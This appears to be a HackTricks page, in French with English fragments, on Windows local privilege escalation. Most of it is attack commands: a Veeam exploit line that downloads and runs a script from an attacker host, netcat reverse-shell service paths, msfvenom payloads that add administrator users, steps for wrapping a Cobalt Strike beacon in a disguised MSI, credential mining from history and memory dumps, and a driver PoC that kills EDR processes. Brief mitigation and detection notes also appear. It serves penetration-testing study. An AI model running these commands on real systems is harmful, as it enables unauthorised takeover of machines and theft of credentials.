Windows Local Privilege Escalation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Théorie initiale Windows

Access Tokens

Si vous ne savez pas ce que sont les Windows Access Tokens, lisez la page suivante avant de continuer :

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consultez la page suivante pour plus d’informations sur les ACLs - DACLs/SACLs/ACEs :

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Si vous ne savez pas ce que sont les integrity levels sous Windows, vous devriez lire la page suivante avant de continuer :

Integrity Levels

Windows Security Controls

Il existe différentes protections sous Windows qui peuvent vous empêcher d’énumérer le système, d’exécuter des binaires ou même de détecter vos activités. Vous devriez lire la page suivante et énumérer tous ces mécanismes de défense avant de commencer l’énumération pour la privilege escalation :

Windows Security Controls

Admin Protection / UIAccess silent elevation

Les processus UIAccess lancés via RAiLaunchAdminProcess peuvent être abusés pour atteindre un High IL sans prompts lorsque les vérifications secure-path d’AppInfo sont contournées. Consultez le workflow dédié de contournement UIAccess/Admin Protection ici :

Uiaccess Admin Protection Bypass

System Info

Version info enumeration

Vérifiez si la version de Windows présente des vulnérabilités connues (vérifiez aussi les patchs appliqués).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits de version

Ce site est pratique pour rechercher des informations détaillées sur les Microsoft security vulnerabilities. Cette base de données recense plus de 4 700 security vulnerabilities, montrant la massive attack surface qu’un environnement Windows présente.

Sur le système

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas a watson intégré)

Localement avec les informations système

Dépôts Github d’exploits :

Environnement

Des credential/Juicy info sont-elles enregistrées dans les env variables ?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historique de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Fichiers de transcription PowerShell

Vous pouvez apprendre comment l’activer en visitant https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Les détails des exécutions de pipeline PowerShell sont enregistrés, incluant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d’exécution complets et les résultats de sortie peuvent ne pas être capturés.

Pour activer cela, suivez les instructions dans la section “Transcript files” de la documentation, en choisissant “Module Logging” plutôt que “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Pour afficher les 15 derniers événements des logs PowersShell, vous pouvez exécuter :

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Un enregistrement complet des activités et du contenu intégral de l’exécution du script est capturé, garantissant que chaque bloc de code est documenté lorsqu’il s’exécute. Ce processus conserve une piste d’audit exhaustive de chaque activité, utile pour les analyses forensiques et l’étude du comportement malveillant. En documentant toutes les activités au moment de l’exécution, on obtient des informations détaillées sur le processus.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Les événements de journalisation pour le Script Block peuvent être consultés dans l’Observateur d’événements Windows au chemin : Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Pour afficher les 20 derniers événements, vous pouvez utiliser :

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Paramètres Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Lecteurs

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Vous pouvez compromettre le système si les mises à jour ne sont pas demandées via httpS mais http.

Vous commencez par vérifier si le réseau utilise une mise à jour WSUS non-SSL en exécutant ce qui suit dans cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ou la commande suivante dans PowerShell :

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si vous recevez une réponse telle que l’une des suivantes :

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
En pratique, voici la faille exploitée :

Si nous avons la possibilité de modifier le proxy de l’utilisateur local, et que Windows Updates utilise le proxy configuré dans les paramètres d’Internet Explorer, nous avons alors la possibilité d’exécuter PyWSUS localement pour intercepter notre propre trafic et exécuter du code en tant qu’utilisateur élevé sur notre poste.

De plus, comme le service WSUS utilise les paramètres de l’utilisateur courant, il utilisera également son magasin de certificats. Si nous générons un certificat auto-signé pour le hostname WSUS et ajoutons ce certificat dans le magasin de certificats de l’utilisateur courant, nous serons en mesure d’intercepter le trafic WSUS HTTP et HTTPS. WSUS n’utilise aucun mécanisme de type HSTS pour implémenter une validation de type trust-on-first-use sur le certificat. Si le certificat présenté est approuvé par l’utilisateur et a le bon hostname, il sera accepté par le service.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 exposes a localhost service on TCP/9401 that processes attacker-controlled messages, allowing arbitrary commands as NT AUTHORITY\SYSTEM.

  • Recon: confirm the listener and version, e.g., netstat -ano | findstr 9401 and (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: place a PoC such as VeeamHax.exe with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Le service exécute la commande en tant que SYSTEM.

KrbRelayUp

Une vulnérabilité de local privilege escalation existe dans les environnements Windows domain sous des conditions spécifiques. Ces conditions incluent des environnements où LDAP signing is not enforced, des utilisateurs disposant de droits sur eux-mêmes leur permettant de configurer la Resource-Based Constrained Delegation (RBCD), et la capacité pour les utilisateurs de créer des ordinateurs au sein du domain. Il est important de noter que ces exigences sont remplies par les paramètres par défaut.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

Pour plus d’informations sur le déroulement de l’attaque, consultez https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si ces 2 clés de registre sont activées (valeur 0x1), alors des utilisateurs de n’importe quel niveau de privilège peuvent installer (exécuter) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si vous avez une session meterpreter, vous pouvez automatiser cette technique en utilisant le module exploit/windows/local/always_install_elevated

PowerUP

Utilisez la commande Write-UserAddMSI de power-up pour créer dans le répertoire courant un binaire MSI Windows afin d’élever les privilèges. Ce script génère un installateur MSI précompilé qui demande l’ajout d’un utilisateur/groupe (vous aurez donc besoin d’un accès GIU) :

Write-UserAddMSI

Il suffit d’exécuter le binaire créé pour escalader les privilèges.

MSI Wrapper

Lisez ce tutoriel pour apprendre à créer un MSI wrapper en utilisant ces outils. Notez que vous pouvez encapsuler un fichier .bat si vous voulez juste exécuter des lignes de commande

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Générez avec Cobalt Strike ou Metasploit un nouveau Windows EXE TCP payload dans C:\privesc\beacon.exe
  • Ouvrez Visual Studio, sélectionnez Create a new project et tapez “installer” dans la zone de recherche. Sélectionnez le projet Setup Wizard et cliquez Next.
  • Donnez au projet un nom, par exemple AlwaysPrivesc, utilisez C:\privesc pour l’emplacement, sélectionnez place solution and project in the same directory, et cliquez sur Create.
  • Continuez à cliquer sur Next jusqu’à atteindre l’étape 3 sur 4 (choose files to include). Cliquez sur Add et sélectionnez le Beacon payload que vous venez de générer. Ensuite cliquez sur Finish.
  • Sélectionnez le projet AlwaysPrivesc dans le Solution Explorer et, dans les Properties, changez TargetPlatform de x86 à x64.
  • Il y a d’autres propriétés que vous pouvez modifier, telles que Author et Manufacturer, ce qui peut rendre l’application installée plus légitime.
  • Faites un clic droit sur le projet et sélectionnez View > Custom Actions.
  • Faites un clic droit sur Install et sélectionnez Add Custom Action.
  • Double-cliquez sur Application Folder, sélectionnez votre fichier beacon.exe et cliquez sur OK. Cela garantira que le beacon payload est exécuté dès que l’installateur est lancé.
  • Dans les Custom Action Properties, changez Run64Bit à True.
  • Enfin, build it.
  • Si l’avertissement File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' apparaît, assurez-vous de définir la plateforme sur x64.

MSI Installation

Pour exécuter l’installation du fichier .msi malveillant en arrière-plan :

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Pour exploiter cette vulnérabilité vous pouvez utiliser : exploit/windows/local/always_install_elevated

Antivirus et détecteurs

Paramètres d’audit

Ces paramètres déterminent ce qui est journalisé, donc vous devriez y prêter attention

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — il est intéressant de savoir où les logs sont envoyés.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS est conçu pour la gestion des mots de passe Administrator locaux, garantissant que chaque mot de passe est unique, aléatoire et mis à jour régulièrement sur les ordinateurs membres d’un domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne peuvent être consultés que par les utilisateurs auxquels des autorisations suffisantes ont été accordées via les ACLs, leur permettant de voir les mots de passe Administrator locaux si cela est autorisé.

LAPS

WDigest

Si activé, les mots de passe en clair sont stockés dans LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

À partir de Windows 8.1, Microsoft a introduit une protection renforcée pour la Local Security Authority (LSA) afin de bloquer les tentatives des processus non fiables de lire sa mémoire ou d’injecter du code, renforçant ainsi la sécurité du système.
More info about LSA Protection here

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard a été introduit dans Windows 10. Son objectif est de protéger les credentials stockés sur un appareil contre des menaces telles que les attaques pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Identifiants mis en cache

Les identifiants de domaine sont authentifiés par l’Autorité de sécurité locale (LSA) et utilisés par des composants du système d’exploitation. Lorsque les données de connexion d’un utilisateur sont authentifiées par un package de sécurité enregistré, les identifiants de domaine pour l’utilisateur sont généralement établis.\
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Utilisateurs et groupes

Énumérer les utilisateurs et les groupes

Vous devriez vérifier si l’un des groupes dont vous faites partie possède des permissions intéressantes

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Groupes privilégiés

Si vous appartenez à un groupe privilégié, vous pouvez peut-être escalader les privilèges. Découvrez les groupes privilégiés et comment les abuser pour escalader les privilèges ici :

Privileged Groups

Manipulation des tokens

En savoir plus sur ce qu’est un token sur cette page: Windows Tokens.
Consultez la page suivante pour en apprendre davantage sur les tokens intéressants et comment les abuser :

Abusing Tokens

Utilisateurs connectés / Sessions

qwinsta
klist sessions

Dossiers personnels

dir C:\Users
Get-ChildItem C:\Users

Politique des mots de passe

net accounts

Récupérer le contenu du presse-papiers

powershell -command "Get-Clipboard"

Processus en cours

Permissions des fichiers et dossiers

Tout d’abord, en listant les processus, vérifiez la présence de mots de passe dans la ligne de commande du processus.
Vérifiez si vous pouvez écraser un binary en cours d’exécution ou si vous avez des permissions d’écriture sur le dossier contenant le binary pour exploiter d’éventuels DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Vérifiez toujours la présence éventuelle de electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Vérifier les permissions des binaires des processus

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Vérifier les permissions des dossiers contenant les binaires des processus (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Vous pouvez créer un memory dump d’un processus en cours d’exécution en utilisant procdump de sysinternals. Des services comme FTP ont les credentials in clear text in memory, essayez de dumper la mémoire et de lire les credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Applications GUI non sécurisées

Les applications s’exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD, ou de parcourir des répertoires.

Exemple : “Windows Help and Support” (Windows + F1), recherchez “command prompt”, cliquez sur “Click to open Command Prompt”

Services

Service Triggers permettent à Windows de démarrer un service lorsque certaines conditions se produisent (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Même sans les droits SERVICE_START vous pouvez souvent démarrer des services privilégiés en déclenchant leurs triggers. Voir les techniques d’énumération et d’activation ici:

Service Triggers

Obtenir la liste des services:

net start
wmic service list brief
sc query
Get-Service

Autorisations

Vous pouvez utiliser sc pour obtenir des informations sur un service

sc qc <service_name>

Il est recommandé d’avoir le binaire accesschk de Sysinternals pour vérifier le niveau de privilèges requis pour chaque service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Il est recommandé de vérifier si “Authenticated Users” peut modifier un service :

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Vous pouvez télécharger accesschk.exe pour XP ici

Activer le service

Si vous obtenez cette erreur (par exemple avec SSDPSRV) :

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Vous pouvez l’activer en utilisant

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Prenez en compte que le service upnphost dépend de SSDPSRV pour fonctionner (pour XP SP1)

Une autre solution de contournement de ce problème consiste à exécuter :

sc.exe config usosvc start= auto

Modifier le chemin du binaire du service

Dans le cas où le groupe “Authenticated users” possède SERVICE_ALL_ACCESS sur un service, il est possible de modifier le binaire exécutable du service. Pour modifier et exécuter sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Redémarrer le service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Les privilèges peuvent être escaladés via différentes permissions :

  • SERVICE_CHANGE_CONFIG: Permet de reconfigurer le binaire du service.
  • WRITE_DAC: Permet de reconfigurer les permissions, ce qui permet de modifier les configurations du service.
  • WRITE_OWNER: Permet d’acquérir la propriété et de reconfigurer les permissions.
  • GENERIC_WRITE: Confère la capacité de modifier les configurations du service.
  • GENERIC_ALL: Confère également la capacité de modifier les configurations du service.

Pour la détection et l’exploitation de cette vulnérabilité, exploit/windows/local/service_permissions peut être utilisé.

Permissions faibles des binaires de services

Vérifiez si vous pouvez modifier le binaire exécuté par un service ou si vous avez write permissions on the folder where the binary is located (DLL Hijacking).
Vous pouvez obtenir tous les binaires exécutés par un service en utilisant wmic (not in system32) et vérifier vos permissions avec icacls :

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Vous pouvez également utiliser sc et icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permissions de modification du registre des services

Vous devriez vérifier si vous pouvez modifier un registre de services.
Vous pouvez vérifier vos permissions sur un registre de services en faisant:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Il faut vérifier si Authenticated Users ou NT AUTHORITY\INTERACTIVE possèdent les permissions FullControl. Si c’est le cas, le binaire exécuté par le service peut être modifié.

Pour changer le Path du binaire exécuté :

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Registre des services — permissions AppendData/AddSubdirectory

Si vous avez cette permission sur un registre, cela signifie que vous pouvez créer des sous-registres à partir de celui-ci. Dans le cas des services Windows, c’est suffisant pour exécuter du code arbitraire :

AppendData/AddSubdirectory permission over service registry

Chemins de service sans guillemets

Si le chemin vers un exécutable n’est pas entre guillemets, Windows tentera d’exécuter chaque fragment se terminant avant un espace.

Par exemple, pour le chemin C:\Program Files\Some Folder\Service.exe, Windows essayera d’exécuter:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Lister tous les chemins de services non entre guillemets, en excluant ceux appartenant aux services Windows intégrés :

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Vous pouvez détecter et exploiter cette vulnérabilité avec metasploit: exploit/windows/local/trusted\_service\_path Vous pouvez créer manuellement un binaire de service avec metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Actions de récupération

Windows permet aux utilisateurs de spécifier des actions à exécuter en cas d’échec d’un service. Cette fonctionnalité peut être configurée pour pointer vers un binary. Si ce binary peut être remplacé, une privilege escalation pourrait être possible. Plus de détails sont disponibles dans la documentation officielle.

Applications

Applications installées

Vérifiez les permissions des binaries (peut-être pouvez-vous en écraser un et escalate privileges) et des dossiers (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permissions d’écriture

Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier particulier ou si vous pouvez modifier un binaire qui sera exécuté par un compte Administrator (schedtasks).

Une façon de trouver des permissions faibles sur des dossiers/fichiers du système est de faire:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ charge automatiquement toute DLL de plugin présente dans ses sous-dossiers plugins. Si une installation portable/copiable écrivable est présente, déposer un plugin malveillant permet l’exécution automatique de code à l’intérieur de notepad++.exe à chaque lancement (y compris depuis DllMain et les plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Exécution au démarrage

Vérifiez si vous pouvez écraser une clé du registry ou un binary qui va être exécuté par un autre utilisateur.
Lisez la page suivante pour en savoir plus sur les autoruns locations to escalate privileges :

Privilege Escalation with Autoruns

Pilotes

Recherchez d’éventuels third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Si un driver expose un kernel read/write primitive (commun dans les handlers IOCTL mal conçus), vous pouvez escalader en volant un SYSTEM token directement depuis la mémoire kernel. Voir la technique étape‑par‑étape ici :

Arbitrary Kernel Rw Token Theft

Pour les bugs de race-condition où l’appel vulnérable ouvre un Object Manager path contrôlé par l’attaquant, ralentir délibérément la résolution (en utilisant des composants de longueur maximale ou des chaînes de répertoires profondes) peut étendre la fenêtre de microsecondes à dizaines de microsecondes :

Kernel Race Condition Object Manager Slowdown

Primitives de corruption mémoire des Registry hive

Les vulnérabilités modernes des hives permettent de préparer des layouts déterministes, d’abuser des descendants inscriptibles HKLM/HKU, et de convertir la corruption de métadonnées en kernel paged-pool overflows sans driver personnalisé. Apprenez la chaîne complète ici :

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Certains drivers tiers signés créent leur device object avec un SDDL strict via IoCreateDeviceSecure mais oublient de définir FILE_DEVICE_SECURE_OPEN dans DeviceCharacteristics. Sans ce flag, le secure DACL n’est pas appliqué lorsque le device est ouvert via un chemin contenant un composant supplémentaire, permettant à n’importe quel utilisateur non privilégié d’obtenir un handle en utilisant un namespace path tel que :

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Une fois qu’un utilisateur peut ouvrir le device, les IOCTLs privilégiés exposés par le driver peuvent être abusés pour LPE et altération. Exemples de capacités observées sur le terrain :

  • Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Atténuations pour les développeurs

  • Définissez toujours FILE_DEVICE_SECURE_OPEN lors de la création d’objets device destinés à être restreints par un DACL.
  • Validez le contexte de l’appelant pour les opérations privilégiées. Ajoutez des contrôles PP/PPL avant d’autoriser la terminaison d’un processus ou le retour de handles.
  • Restreignez les IOCTLs (access masks, METHOD_*, validation des entrées) et envisagez des modèles brokered plutôt que d’accorder des privilèges directs au kernel.

Idées de détection pour les défenseurs

  • Surveillez les ouvertures en mode utilisateur de noms de device suspects (e.g., \ .\amsdk*) et les séquences IOCTL spécifiques révélatrices d’un abus.
  • Appliquez la blocklist des drivers vulnérables de Microsoft (HVCI/WDAC/Smart App Control) et maintenez vos propres listes allow/deny.

PATH DLL Hijacking

Si vous avez write permissions inside a folder present on PATH, vous pourriez être en mesure de hijack une DLL chargée par un processus et escalate privileges.

Vérifiez les permissions de tous les dossiers dans PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Pour plus d’informations sur la façon d’exploiter ce contrôle :

Writable Sys Path +Dll Hijacking Privesc

Réseau

Partages

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
